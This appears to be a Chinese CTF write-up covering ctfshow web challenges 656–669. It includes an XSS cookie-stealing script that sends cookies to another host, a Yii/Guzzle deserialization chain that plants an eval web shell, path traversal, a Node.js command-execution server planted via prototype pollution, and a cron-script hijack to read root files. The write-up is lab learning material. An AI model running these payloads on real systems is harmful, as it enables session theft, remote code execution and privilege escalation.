成功触发，且有回显，那直接弹框带出来cookie

uid=10; PHPSESSID=9g8u13rinucef1p50e5m4thqg9

发现不对,这是self-xss了,得让bot去点击才行,并且bot点击触发我又看不到,所以还是得外带,外带但是又不出网,所以想到外带到第一个机子里,他俩彼此肯定是通的

xss.php

<?php
$content = $_GET[1];
if(isset($content)){
     file_put_contents('cookie.txt',$content);
}else{
     echo 'no date input';
}

xss.js

var img = new Image();
img.src = "http://172.2.141.4/xss.php?1="+document.cookie;
document.body.append(img);

还是用echo&&base64写进去

echo 'PD9waHAKJGNvbnRlbnQgPSAkX0dFVFsxXTsKaWYoaXNzZXQoJGNvbnRlbnQpKXsKICAgICBmaWxlX3B1dF9jb250ZW50cygnY29va2llLnR4dCcsJGNvbnRlbnQpOwp9ZWxzZXsKICAgICBlY2hvICdubyBkYXRlIGlucHV0JzsKfQ==' |base64 -d >xss.php

echo 'dmFyIGltZyA9IG5ldyBJbWFnZSgpOwppbWcuc3JjID0gImh0dHA6Ly8xNzIuMi4xNDEuNC94c3MucGhwPzE9Iitkb2N1bWVudC5jb29raWU7CmRvY3VtZW50LmJvZHkuYXBwZW5kKGltZyk7' |base64 -d >xss.js

恶意payload

curl -H 'X-Forwarded-For: <sCRiPt/SrC=//172.2.141.4/xss.js></script>' '172.2.141.5/index.php?action=login&u=111'

这地方靶机坏了,重开了,所以后边IP也变了

(www-data:/var/www/html) $ ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:02:53:04  
          inet addr:172.2.83.4  Bcast:172.2.83.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:2663 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1688 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1065640 (1.0 MiB)  TX bytes:3267102 (3.1 MiB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:8353 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8353 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:2610828 (2.4 MiB)  TX bytes:2610828 (2.4 MiB

又打坏了…

时隔两天我又来了

(www-data:/var/www/html) $ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
968936: eth0@if968937: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP 
    link/ether 02:42:ac:02:10:04 brd ff:ff:ff:ff:ff:ff
    inet 172.2.16.4/24 brd 172.2.16.255 scope global eth0
       valid_lft forever preferred_lft forever

继续还是XSS

curl -H 'X-Forwarded-For: <sCRiPt/SrC=//172.2.16.4/xss.js></script>' '172.2.16.5/index.php?action=login&u=111'

这次打出来了

PHPSESSID=lbsvledq8jqui3in5s5netc141; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=
//flag_656=ctfshow{e0b80d6b99d2bdbae36f121f78abe96b}

web657

主要代码看这

function getFlag(){
   return  FLAG_657;
}

带着admin的cookie请求一下index

curl -H 'Cookie:PHPSESSID=lbsvledq8jqui3in5s5netc141; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=' '172.2.16.5/index.php?action=main&m=getFlag'

(www-data:/var/www/html) $ curl -H 'Cookie:PHPSESSID=lbsvledq8jqui3in5s5netc141; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=' '172.2.16.5/index.php?action=main&m=getFlag'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0 100    73    0    73    0     0  73000      0 --:--:-- --:--:-- --:--:-- 73000
{"code":0,"message":"flag_657=ctfshow{2a73f8f87a58a13c23818fafd83510b1}"}

web658

主要代码看这

function testFile($f){
   $result = '';
   $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
   if(file_exists($file)){
      $result = FLAG_658;
   }
   return $result;

}

得存在某个文件才能输出flag，这个文件名又是随机数，利用第一台机子，里面有python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print('listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'220 a\n')
conn.send(b'230 a\n')
conn.send(b'200 a\n')
conn.send(b'200 a\n')
conn.send(b'200\n')
conn.send(b'200 a\n')
conn.send(b'200\n')
conn.send(b'200 a\n')
conn.close()

echo 'aW1wb3J0IHNvY2tldApzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmJpbmQoKCcwLjAuMC4wJywgMjEpKQpzLmxpc3RlbigxKQpwcmludCgnbGlzdGVuaW5nIDAuMC4wLjAgMjFcbicpCmNvbm4sIGFkZHIgPSBzLmFjY2VwdCgpCmNvbm4uc2VuZChiJzIyMCBhXG4nKQpjb25uLnNlbmQoYicyMzAgYVxuJykKY29ubi5zZW5kKGInMjAwIGFcbicpCmNvbm4uc2VuZChiJzIwMCBhXG4nKQpjb25uLnNlbmQoYicyMDBcbicpCmNvbm4uc2VuZChiJzIwMCBhXG4nKQpjb25uLnNlbmQoYicyMDBcbicpCmNvbm4uc2VuZChiJzIwMCBhXG4nKQpjb25uLmNsb3NlKCk=' |base64 -d > 1.py

(www-data:/var/www/html) $ python3 1.py
listening 0.0.0.0 21

curl -H 'Cookie:PHPSESSID=lbsvledq8jqui3in5s5netc141; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=' '172.2.16.5/index.php?action=main&m=testFile&f=ftp://172.2.16.4/a'

flag_658=ctfshow{98555a97cb23e7413d261142e65a674f}

web659

扫目录发现存在robots.txt

(www-data:/var/www/html) $ curl http://172.2.16.5/robots.txt
disallowed /public/

继续跟进

(www-data:/var/www/html) $ curl http://172.2.16.5/public/
<html>
<head><title>Index of /public/</title></head>
<body>
<h1>Index of /public/</h1><hr><pre><a href="../">../</a>
<a href="Readme.txt">Readme.txt</a>                                      
</pre><hr></body>
</html>

有个readme

(www-data:/var/www/html) $ curl http://172.2.16.5/public/Readme.txt
恭喜师傅来到第二关！
第二关相比第一关，依旧是没有难度。
glhf!

既然可以访问public，那试试目录穿越public…/

(www-data:/var/www/html) $ curl http://172.2.16.5/public../
<html>
<head><title>Index of /public../</title></head>
<body>
<h1>Index of /public../</h1><hr><pre><a href="../">../</a>
<a href="FLAG/">FLAG/</a>                                              07-Aug-2021 19:51                   -
<a href="bin/">bin/</a>                                               07-Aug-2021 19:51                   -
<a href="dev/">dev/</a>                                               22-Feb-2024 13:52                   -
<a href="etc/">etc/</a>                                               22-Feb-2024 13:52                   -
<a href="home/">home/</a>                                              07-Aug-2021 19:51                   -
<a href="lib/">lib/</a>                                               22-Sep-2020 08:25                   -
<a href="media/">media/</a>                                             29-May-2020 14:20                   -
<a href="mnt/">mnt/</a>                                               29-May-2020 14:20                   -
<a href="opt/">opt/</a>                                               29-May-2020 14:20                   -
<a href="proc/">proc/</a>                                              22-Feb-2024 13:52                   -
<a href="public/">public/</a>                                            07-Aug-2021 19:51                   -
<a href="root/">root/</a>                                              07-Aug-2021 19:51                   -
<a href="run/">run/</a>                                               07-Aug-2021 19:51                   -
<a href="sbin/">sbin/</a>                                              22-Sep-2020 08:25                   -
<a href="srv/">srv/</a>                                               29-May-2020 14:20                   -
<a href="sys/">sys/</a>                                               22-Feb-2024 13:52                   -
<a href="tmp/">tmp/</a>                                               22-Feb-2024 14:17                   -
<a href="usr/">usr/</a>                                               07-Aug-2021 19:51                   -
<a href="var/">var/</a>                                               07-Aug-2021 19:51                   -
<a href="FLAG665">FLAG665</a>                                            07-Aug-2021 19:51                  51
<a href="getflag">getflag</a>                                            07-Aug-2021 19:51               19912
</pre><hr></body>
</html>

读取FLAG

(www-data:/var/www/html) $ curl http://172.2.16.5/public../FLAG/flag659.txt
flag_659=ctfshow{73c4213829f8b393b2082bacb4253cab}

web660

读取getflag，发现是个elf文件，目测是665的flag不能直接读取，需要调用这个elf文件来读

回头找发现泄露的index.php说了660的获取条件

if(!auth()){
      $ret['message']='AuthKey 错误';
   }else{
      $ret['message']='登陆成功';
      $_SESSION['login']=true;
      $_SESSION['flag_660']=$_GET['flag'];
   }

读取日志得到flag

(www-data:/var/www/html) $ curl http://172.2.16.5/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log

flag_660_ctfshow{23e56d95b430de80c7b5806f49a14a2b}

web661

还是穿越得到的

/public../home/flag/secret.txt

(www-data:/var/www/html) $ curl http://172.2.16.5/public../home/flag/secret.txt
flag_661=ctfshow{d41c308e12fdecf7782eeb7c20f45352}

web662

(www-data:/var/www/html) $ curl http://172.2.16.5/public../home/www-data/creater.sh
#!/bin/sh
file=`echo $RANDOM|md5sum|cut -c 1-3`.html
echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$file

这个文件前三位是随机数，爆破一下

import requests

session = requests.session()
url = "http://a9bdec27-2a0e-4e73-b1a5-2f20df80959c.challenge.ctf.show:80/1.php"
cookies = {"PHPSESSID": "69tiiq541legsm6j9fo8rsdsvh"}


flag=0
list='0123456789abcdef'
while(flag==0):
    for i in list:
        for j in list:
            for k in list:
                    data = {"1": "echo `curl http://172.2.141.5:80/" + str(i) + str(j) + str(k) + ".html`;"}
                    r = session.post(url, cookies=cookies, data=data)
                    print(r.text)
                    if ('404' not in r.text):
                        print("http://172.2.141.5:80/" + str(i) + str(j) + str(k) + ".html")
                        print(r.text)
                        exit()

http://172.2.141.5:80/c56.html
flag_662=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}

web663

这个机子也有phpinfo，看一下

还有个ctfshow的扩展

查看这个目录 /usr/local/lib/php/extensions/no-debug-non-zts-20180731发现有个ctfshow.so

curl http://172.2.141.5:80/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731/

curl http://172.2.141.5:80/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731/ctfshow.so -o 1.so

得到flag

(www-data:/var/www/html) $ strings 1.so |grep flag
zif_getflag
getflag
flag_663=ctfshow{fa5cc1fb0bfc986d1ef150269c0de19
3flag_663=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}
quick_arg_flags
constant_flags
zif_getflag
access_flags
type_flags
extra_fn_flags
ce_flags
zif_getflag

web664

查看nginx配置文件

/etc/nginx/nginx.conf

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log warn;


events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    log_format  main  '[$time_local]:$remote_addr-$request-$status';
    access_log /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log main;
    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location /public {
            autoindex on;
            alias /public/;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }

    server {
        listen       8888;
        server_name  oa;
        root         /var/oa/web;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location /{
            index index.php;
            autoindex off;

        }

       location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }
    }
}

8888还有web服务

nginx/1.18.0

Yii Framework/2.0.43-dev

curl "http://172.2.141.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A212%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A57%253A%2522function%2528%2529%257B%255Chighlight_file%2528%2527%252Fvar%252Foa%252Fflag664.php%2527%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000002ae55f4e00000000747d2f8c%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D"

得到flag

<?php

$flag="flag_664=ctfshow{35802d184dba134bdc8d0d23e09051f7}";

写shell

1=echo shell_exec('curl "http://172.2.141.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A192%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A37%253A%2522function%2528%2529%257Beval%2528%2524_REQUEST%255B2%255D%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000006cfe4a45000000005bbc4366%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D%262='.$_REQUEST[22].'%253b"');&22=phpinfo()

web665

能直接读，那就不知道上面的elf目的是啥了

直接读取FLAG665

(www-data:/var/www/html) $ curl http://172.2.16.5/public../FLAG665
flag_665=ctfshow{35802d184dba134bdc8d0d23e09051f7}

web666

连数据库，内网的数据库还没发代理出来，写个txt来连接

1.txt

1=$conn = new mysqli('localhost','root','root','ctfshow');
$res = $conn->query("select * from ctfshow_secret");
if($res){
   $row=$res->fetch_array(MYSQLI_BOTH);
}
echo $row[0];
$conn->close();

echo 'MT0kY29ubiA9IG5ldyBteXNxbGkoJ2xvY2FsaG9zdCcsJ3Jvb3QnLCdyb290JywnY3Rmc2hvdycpOwokcmVzID0gJGNvbm4tPnF1ZXJ5KCJzZWxlY3QgKiBmcm9tIGN0ZnNob3dfc2VjcmV0Iik7CmlmKCRyZXMpewoJJHJvdz0kcmVzLT5mZXRjaF9hcnJheShNWVNRTElfQk9USCk7Cn0KZWNobyAkcm93WzBdOwokY29ubi0+Y2xvc2UoKTs='|base64 -d > 1.txt

a=echo `curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d @/tmp/1.txt "http://172.2.141.5:8888/assets/shell.php"`;

flag_666=ctfshow{bb4053583279be4e3be880f30ce3e53e}

web667

记录一个php版本的扫端口

<?php
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

扫端口得到开放有3000

flag_667=ctfshow{503a075560764e3d116436ab73d7a560}

存在nodejs

web668

/login

utils.copy(user.userinfo,req.body);
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

原型链污染

var http = require(‘http’); var querystring = require(‘querystring’);

var postHTML = ‘123’;

http.createServer(function (req, res) { var body = “”; req.on(‘data’, function (chunk) { body += chunk; }); req.on(‘end’, function () { body = querystring.parse(body); res.writeHead(200, {‘Content-Type’: ‘text/html; charset=utf8’}); try{ if(body.cmd) { res.write(“username：” + body.cmd); var result= global.process.mainModule.constructor._load(‘child_process’).execSync(‘bash -c "’+body.cmd+‘"’).toString(); res.write(result); } else { res.write(postHTML); }} catch{ res.write(postHTML); } res.end(); }); }).listen(8033);

1=echo curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.44.5:8033;

1=echo curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.141.5:8033;

flag_668=ctfshow{5b617bd75e1242ab1f6f70437bb71dd5}

# web669

有个root的进程且普通用户可编辑，且定时执行，那就偷梁换柱就行

1=echo curl -X POST -d “cmd=rm -rf nodestartup.sh;echo 'cat /root/* > /home/node/1.txt ’ > nodestartup.sh” http://172.2.141.5:8033;

ctfshow{a6c74ca12174eb538a4c8c8ed99c3a74}

# 总结

开了三四次靶机，打了两三天，总算打完了，越往后发现自己的不足越多，有时间再多补补。

# 参考

[GOOD1](https://na0h.cn/ctf/ctfshow/ctfshow-终极考核#解法1)

[GOOD2](https://blog.csdn.net/qq_53263789/article/details/123854245)

[GOOD3](https://blog.csdn.net/cosmoslin/article/details/125663487)

[GOOD4](https://blog.csdn.net/miuzzx/article/details/121611613)

本文参与腾讯云自媒体分享计划，分享自作者个人站点/博客。

原始发表：2024-02-23，如有侵权请联系 cloudcommunity@tencent.com 删除

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